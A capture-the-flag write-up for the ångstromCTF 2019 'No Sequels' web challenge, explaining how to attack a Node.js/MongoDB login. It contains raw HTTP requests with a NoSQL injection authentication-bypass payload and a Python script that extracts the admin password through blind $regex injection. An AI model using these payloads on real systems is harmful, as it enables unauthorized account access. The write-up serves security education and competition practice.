ångstromCTF 2019 - Write-up

Information#

CTF#

50 - No Sequels - Web#

The prequels sucked, and the sequels aren't much better, but at least we always have the original trilogy.

Author: SirIan

The server side source code is given to us, it seems to be Nodejs.

app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: false }));

...

router.post('/login', verifyJwt, function (req, res) {
    // monk instance
    var db = req.db;

    var user = req.body.username;
    var pass = req.body.password;

    if (!user || !pass){
        res.send("One or more fields were not provided.");
    }
    var query = {
        username: user,
        password: pass
    }

    db.collection('users').findOne(query, function (err, user) {
        if (!user){
            res.send("Wrong username or password");
            return
        }

        res.cookie('token', jwt.sign({name: user.username, authenticated: true}, secret));
        res.redirect("/site");
    });
});

We can notice that the server is expecting data to be formated in JSON and that a JWT token will be set.

Let's try a legitimate request:

POST /login HTTP/1.1
Host: nosequels.2019.chall.actf.co
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://nosequels.2019.chall.actf.co/login
Content-Type: application/json
Content-Length: 39
Connection: close
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjpmYWxzZSwiaWF0IjoxNTU2MTM4MDgwfQ.lr6TglvX2cfA-SIwRxNfJfkLchYBowMgsIL48VBTbCY
Upgrade-Insecure-Requests: 1

{"username": "admin", "password": "no"}

Of course the server answered us we provided wrong credentials.

HTTP/1.1 200 OK
Content-Length: 26
Content-Type: text/html; charset=utf-8
Date: Wed, 24 Apr 2019 21:08:59 GMT
Etag: W/"1a-ozvnU4Pwu6RM0j7vlv3/UWPyWYE"
Server: Caddy
Server: nginx/1.14.1
X-Powered-By: Express
Connection: close

Wrong username or password

Looking at the HTML source we can see this comment:

<!--Powered by ExpressJS and MongoDB -->

MongoDB is a NoSQL database, so let's try a NoSQL injection:

POST /login HTTP/1.1
Host: nosequels.2019.chall.actf.co
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://nosequels.2019.chall.actf.co/login
Content-Type: application/json
Content-Length: 58
Connection: close
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjpmYWxzZSwiaWF0IjoxNTU2MTM4MDgwfQ.lr6TglvX2cfA-SIwRxNfJfkLchYBowMgsIL48VBTbCY
Upgrade-Insecure-Requests: 1

{"username": {"$ne": "noraj"}, "password": {"$ne": "bar"}}

Seems to work be we are redirected on a bad page.

HTTP/1.1 302 Found
Content-Length: 54
Content-Type: text/html; charset=utf-8
Date: Wed, 24 Apr 2019 21:00:07 GMT
Location: /site
Server: Caddy
Server: nginx/1.14.1
Set-Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJhdXRoZW50aWNhdGVkIjp0cnVlLCJpYXQiOjE1NTYxMzk2MDd9.Bor7DuMtBs38qokiqP7emyjKKt8eJ-AsnilKBKWApWI; Path=/
Vary: Accept
X-Powered-By: Express
Connection: close

<p>Found. Redirecting to <a href="/site">/site</a></p>

If we code the JWT token, we have:

Headers = {
  "alg" : "HS256",
  "typ" : "JWT"
}

Payload = {
  "name" : "admin",
  "authenticated" : true,
  "iat" : 1556138735
}

Signature = "DjKiHBhOU4RyWO-q_LIeqeW_wIXYEj2EokPfe0XRjg8"

So with the payload {"$ne": "noraj"} we revealed the existence of the the user admin.

Now we can try a blind NoSQL injection with the use of the regex operator and brute-force to obtain the admin password.

#!/usr/bin/python3
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""
u="https://nosequels.2019.chall.actf.co/login"
headers = {
  'Cookie': 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjpmYWxzZSwiaWF0IjoxNTU2MTM4MDgwfQ.lr6TglvX2cfA-SIwRxNfJfkLchYBowMgsIL48VBTbCY',
  'content-type': 'application/json'
}

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|']:
            payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
            r = requests.post(u, data = payload, headers = headers, verify = False)
            print(r.text + ' ' + str(r.status_code))
            #if 'Found' in r.text:
            if r.status_code == 302:
                print("Found one more char : %s" % (password+c))
                password += c

Let's execute our script:

...
Wrong username or password 200
Wrong username or password 200
<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>Application Access Page</title></head><body><h2>Here's your first flag: actf{no_sql_doesn't_mean_no_vuln}<br>Access granted, however suspicious activity detected. Please enter password for user<b> 'admin' </b>again, but there will be no database query.</h2><form method="post"><label>Enter Password:</label><input type="text" name="pass2"><br><input type="submit"></form><h4 style="color:red;"></h4><pre>router.post('/site', verifyJwt, function (req, res) {
    // req.user is assigned from verifyJwt
    if (!req.user.authenticated || !req.body.pass2) {
        res.send("bad");
    }
 
    var query = {
        username: req.user.name,
    }
 
    var db = req.db;
    db.collection('users').findOne(query, function (err, user) {
        console.log(user);
        if (!user){
            res.render('access', {username:' \''+req.user.name+'\' ', message:"Only user 'admin' can log in with this form!"});
        }
        var pass = user.password;
        var message = "";
        if (pass === req.body.pass2){
            res.render('final');
        } else {
            res.render('access', {username:' \''+req.user.name+'\' ', message:"Wrong LOL!"});
        }
 
    });
 
});</pre></body></html> 200
Wrong username or password 200
Wrong username or password 200
Wrong username or password 200
...

The flag: actf{no_sql_doesn't_mean_no_vuln}.

Share